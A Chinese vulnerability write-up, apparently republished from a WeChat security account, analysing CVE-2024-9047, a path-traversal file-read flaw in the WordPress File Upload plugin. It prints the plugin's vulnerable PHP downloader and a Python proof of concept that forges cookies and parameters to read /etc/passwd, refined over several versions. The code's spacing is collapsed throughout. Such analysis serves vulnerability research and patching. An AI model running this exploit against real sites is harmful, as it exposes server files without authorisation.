利用poc
importrequestsfromurllib.parseimporturljoinimporttimedeffileuploadcheck(url):timestamp=str(int(time.time()))target_url=urljoin(url,"/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?""file=dr0se""&dboption_base=cookies""&handler=dboption""&session_legacy=1""&dboption_useold=1""&wfu_cookie=wp_wpfileupload_dr0se""&ticket=dr0se")headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Cookie":f"wp_wpfileupload_dr0se=1;"f" wfu_storage_dr0se=/../../../../../etc/passwd;"f" wfu_download_ticket_dr0se={timestamp}; "f"wfu_ABSPATH=/;"}try:response=requests.get(target_url,verify=False,headers=headers,timeout=10)print(response.text)exceptExceptionase:print(f"Error while checking {url}: {e}")if__name__=="__main__":url=input()fileuploadcheck(url)
对这个脚本进行解释。漏洞在于wfu_file_downloader.php中源码我下下来了。
<?phpif(!defined("ABSWPFILEUPLOAD_DIR"))DEFINE("ABSWPFILEUPLOAD_DIR",dirname(__FILE__).'/');if(!defined("WFU_AUTOLOADER_PHP50600"))DEFINE("WFU_AUTOLOADER_PHP50600",'vendor/modules/php5.6/autoload.php');include_once(ABSWPFILEUPLOAD_DIR.'lib/wfu_functions.php');include_once(ABSWPFILEUPLOAD_DIR.'lib/wfu_security.php');$handler=(isset($_POST['handler'])?$_POST['handler']:(isset($_GET['handler'])?$_GET['handler']:'-1'));$session_legacy=(isset($_POST['session_legacy'])?$_POST['session_legacy']:(isset($_GET['session_legacy'])?$_GET['session_legacy']:''));$dboption_base=(isset($_POST['dboption_base'])?$_POST['dboption_base']:(isset($_GET['dboption_base'])?$_GET['dboption_base']:'-1'));$dboption_useold=(isset($_POST['dboption_useold'])?$_POST['dboption_useold']:(isset($_GET['dboption_useold'])?$_GET['dboption_useold']:''));$wfu_cookie=(isset($_POST['wfu_cookie'])?$_POST['wfu_cookie']:(isset($_GET['wfu_cookie'])?$_GET['wfu_cookie']:''));if($handler=='-1'||$session_legacy==''||$dboption_base=='-1'||$dboption_useold==''||$wfu_cookie=='')die();else{$GLOBALS["wfu_user_state_handler"]=wfu_sanitize_code($handler);$GLOBALS["WFU_GLOBALS"]["WFU_US_SESSION_LEGACY"]=array("","","",($session_legacy=='1'?'true':'false'),"",true);$GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_BASE"]=array("","","",wfu_sanitize_code($dboption_base),"",true);$GLOBALS["WFU_GLOBALS"]["WFU_US_DBOPTION_USEOLD"]=array("","","",($dboption_useold=='1'?'true':'false'),"",true);if(!defined("WPFILEUPLOAD_COOKIE"))DEFINE("WPFILEUPLOAD_COOKIE",wfu_sanitize_tag($wfu_cookie));wfu_download_file();}functionwfu_download_file(){global$wfu_user_state_handler;$file_code=(isset($_POST['file'])?$_POST['file']:(isset($_GET['file'])?$_GET['file']:''));$ticket=(isset($_POST['ticket'])?$_POST['ticket']:(isset($_GET['ticket'])?$_GET['ticket']:''));if($file_code==''||$ticket=='')die();wfu_initialize_user_state();$ticket=wfu_sanitize_code($ticket);$file_code=wfu_sanitize_code($file_code);//if download ticket does not exist or is expired dieif(!WFU_USVAR_exists_downloader('wfu_download_ticket_'.$ticket)||time()>WFU_USVAR_downloader('wfu_download_ticket_'.$ticket)){WFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket);WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);wfu_update_download_status($ticket,'failed');die();}//destroy ticket so it cannot be used againWFU_USVAR_unset_downloader('wfu_download_ticket_'.$ticket);//if file_code starts with exportdata, then this is a request for export of//uploaded file data, so disposition_name wont be the filename of the file//but wfu_export.csv; also set flag to delete file after download operationif(substr($file_code,0,10)=="exportdata"){$file_code=substr($file_code,10);//$filepath = wfu_get_filepath_from_safe($file_code);$filepath=WFU_USVAR_downloader('wfu_storage_'.$file_code);$disposition_name="wfu_export.csv";$delete_file=true;}//if file_code starts with debuglog, then this is a request for download of//debug_log.txtelseif(substr($file_code,0,8)=="debuglog"){$file_code=substr($file_code,8);//$filepath = wfu_get_filepath_from_safe($file_code);$filepath=WFU_USVAR_downloader('wfu_storage_'.$file_code);$disposition_name=wfu_basename($filepath);$delete_file=false;}else{//$filepath = wfu_get_filepath_from_safe($file_code);$filepath=WFU_USVAR_downloader('wfu_storage_'.$file_code);if($filepath===false){WFU_USVAR_unset_downloader('wfu_storage_'.$file_code);wfu_update_download_status($ticket,'failed');die();}$filepath=wfu_flatten_path($filepath);if(substr($filepath,0,1)=="/")$filepath=substr($filepath,1);$filepath=(substr($filepath,0,6)=='ftp://'||substr($filepath,0,7)=='ftps://'||substr($filepath,0,7)=='sftp://'?$filepath:WFU_USVAR_downloader('wfu_ABSPATH').$filepath);$disposition_name=wfu_basename($filepath);$delete_file=false;}//destroy file code as it is no longer neededWFU_USVAR_unset_downloader('wfu_storage_'.$file_code);//check that file existsif(!wfu_file_exists_for_downloader($filepath)){wfu_update_download_status($ticket,'failed');die('<script language="javascript">alert("'.(WFU_USVAR_exists_downloader('wfu_browser_downloadfile_notexist')?WFU_USVAR_downloader('wfu_browser_downloadfile_notexist'):'File does not exist!').'");</script>');}$open_session=false;@set_time_limit(0);// disable the time limit for this script$fsize=wfu_filesize_for_downloader($filepath);if($fd=wfu_fopen_for_downloader($filepath,"rb")){$open_session=(($wfu_user_state_handler=="session"||$wfu_user_state_handler=="")&&(function_exists("session_status")?(PHP_SESSION_ACTIVE!==session_status()):(empty(session_id()))));if($open_session)session_start();header('Content-Type: application/octet-stream');header("Content-Disposition: attachment; filename="".$disposition_name.""");header('Content-Transfer-Encoding: binary');header('Connection: Keep-Alive');header('Expires: 0');header('Cache-Control: must-revalidate, post-check=0, pre-check=0');header('Pragma: public');header("Content-length: $fsize");$failed=false;while(!feof($fd)){$buffer=@fread($fd,1024*8);echo$buffer;ob_flush();flush();if(connection_status()!=0){$failed=true;break;}}fclose($fd);}else$failed=true;if($delete_file)wfu_unlink_for_downloader($filepath);if(!$failed){wfu_update_download_status($ticket,'downloaded');if($open_session)session_write_close();die();}else{wfu_update_download_status($ticket,'failed');if($open_session)session_write_close();die('<script type="text/javascript">alert("'.(WFU_USVAR_exists_downloader('wfu_browser_downloadfile_failed')?WFU_USVAR_downloader('wfu_browser_downloadfile_failed'):'Could not download file!').'");</script>');}}functionwfu_update_download_status($ticket,$new_status){require_onceWFU_USVAR_downloader('wfu_ABSPATH').'wp-load.php';WFU_USVAR_store('wfu_download_status_'.$ticket,$new_status);}functionWFU_USVAR_exists_downloader($var){global$wfu_user_state_handler;if($wfu_user_state_handler=="dboption"&&WFU_VAR("WFU_US_DBOPTION_BASE")=="cookies")returnisset($_COOKIE[$var]);elsereturnWFU_USVAR_exists_session($var);}functionWFU_USVAR_downloader($var){global$wfu_user_state_handler;if($wfu_user_state_handler=="dboption"&&WFU_VAR("WFU_US_DBOPTION_BASE")=="cookies")return$_COOKIE[$var];elsereturnWFU_USVAR_session($var);}functionWFU_USVAR_unset_downloader($var){global$wfu_user_state_handler;if($wfu_user_state_handler=="session"||$wfu_user_state_handler=="")WFU_USVAR_unset_session($var);}functionwfu_file_exists_for_downloader($filepath){if(substr($filepath,0,7)!="sftp://")returnfile_exists($filepath);$ret=false;$ftpinfo=wfu_decode_ftpurl($filepath);if($ftpinfo["error"])return$ret;$data=$ftpinfo["data"];{$conn=@ssh2_connect($data["ftpdomain"],$data["port"]);if($conn&&@ssh2_auth_password($conn,$data["username"],$data["password"])){$sftp=@ssh2_sftp($conn);$ret=($sftp&&@file_exists("ssh2.sftp://".intval($sftp).$data["filepath"]));}}return$ret;}functionwfu_filesize_for_downloader($filepath){if(substr($filepath,0,7)!="sftp://")returnfilesize($filepath);$ret=false;$ftpinfo=wfu_decode_ftpurl($filepath);if($ftpinfo["error"])return$ret;$data=$ftpinfo["data"];{$conn=@ssh2_connect($data["ftpdomain"],$data["port"]);if($conn&&@ssh2_auth_password($conn,$data["username"],$data["password"])){$sftp=@ssh2_sftp($conn);if($sftp)$ret=@filesize("ssh2.sftp://".intval($sftp).$data["filepath"]);}}return$ret;}functionwfu_fopen_for_downloader($filepath,$mode){if(substr($filepath,0,7)!="sftp://")return@fopen($filepath,$mode);$ret=false;$ftpinfo=wfu_decode_ftpurl($filepath);if($ftpinfo["error"])return$ret;$data=$ftpinfo["data"];{$conn=@ssh2_connect($data["ftpdomain"],$data["port"]);if($conn&&@ssh2_auth_password($conn,$data["username"],$data["password"])){$sftp=@ssh2_sftp($conn);if($sftp){//$ret = @fopen("ssh2.sftp://".intval($sftp).$data["filepath"], $mode);$contents=@file_get_contents("ssh2.sftp://".intval($sftp).$data["filepath"]);$stream=fopen('php://memory','r+');fwrite($stream,$contents);rewind($stream);$ret=$stream;}}}return$ret;}functionwfu_unlink_for_downloader($filepath){if(substr($filepath,0,7)!="sftp://")return@unlink($filepath);$ret=false;$ftpinfo=wfu_decode_ftpurl($filepath);if($ftpinfo["error"])return$ret;$data=$ftpinfo["data"];{$conn=@ssh2_connect($data["ftpdomain"],$data["port"]);if($conn&&@ssh2_auth_password($conn,$data["username"],$data["password"])){$sftp=@ssh2_sftp($conn);if($sftp)$ret=@unlink("ssh2.sftp://".intval($sftp).$data["filepath"]);}}return$ret;}
在这个链接里面可以找到老版本下载,附件我也放了一个https://cn.wordpress.org/plugins/wp-file-upload/advanced/
先关注到这个cve的利用点
wfu_fopen_for_downloader会存在fopen函数的直接调用。不经过严格过滤就可以出现路径遍历漏洞。
我们查看源码中哪里利用了这个函数。发现是在wfu_download_file函数中。而wfu_download_file会直接调用。那我们的poc中就是要控制参数就好。查看核心利用的filepath参数的由来:
发现filepath是通过WFU_USVAR_downloader去解析获得的。那跟踪一下这个函数。
是由一个if判断然后返回cookie中的var,这个var就是wfu_storage.$file_code所以我们需要在cookie中传入一个wfu_storage开头的字段,然后跟上文件名,再让我们的文件名去遍历利用fopen这个函数,就可以达成利用。就比如我在cookie中定义了一个wfu_storage_dr0se=/../../../../../etc/passwd;我就需要传参一个file=dr0se,这样就可以完成利用。
之前我们分析了要过一个if判断。
追踪一下。wfu_user_state_handler是一个全局变量是通过解析handler字段得来的
另一个则是解析dboption_base字段为cookies来判断得来的。所以我们需要传入handler和dbption_base字段来过if判断
importrequestsfromurllib.parseimporturljoinimporttimedeffileuploadcheck(url):timestamp=str(int(time.time()))target_url=urljoin(url,"/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?""file=dr0se""&dboption_base=cookies""&handler=dboption")headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Cookie":f" wfu_storage_dr0se=/../../../../../etc/passwd;"}try:response=requests.get(target_url,verify=False,headers=headers,timeout=10)print(response.text)exceptExceptionase:print(f"Error while checking {url}: {e}")if__name__=="__main__":url=input()fileuploadcheck(url)
这就是我们的payload,但是报错。所以我们需要再看看是不是有遗漏的地方。
在最开始的时候有一个if判断,如果没有满足是直接die()的。这个if判断需要我们传入参数来控制。对payload进行修改。这里需要注意wfu_cookie不能为空,同时还要从cookie中获取一个不为空的值。
在wfu_download_file()函数里面还有对file和ticket的验证
ticket还有时间验证,所以我们还需要对ticket进行时间赋值的操作。最后
定位到源代码的70行,这里有对协议进行判断,如果都不是,我们还需要给一个根路径。所以最后payload为
importrequestsfromurllib.parseimporturljoinimporttimedeffileuploadcheck(url):timestamp=str(int(time.time()))target_url=urljoin(url,"/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?""file=dr0se""&dboption_base=cookies""&handler=dboption""&session_legacy=1""&dboption_useold=1""&wfu_cookie=wp_wpfileupload_dr0se""&ticket=dr0se")headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Cookie":f"wp_wpfileupload_dr0se=1;"f" wfu_storage_dr0se=/../../../../../etc/passwd;"f" wfu_download_ticket_dr0se={timestamp}; "f"wfu_ABSPATH=/;"}try:response=requests.get(target_url,verify=False,headers=headers,timeout=10)print(response.text)exceptExceptionase:print(f"Error while checking {url}: {e}")if__name__=="__main__":url=input()fileuploadcheck(url)
原文始发于微信公众号(船山信安):CVE-2024-9047 (WordPress File Upload 插件漏洞分析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论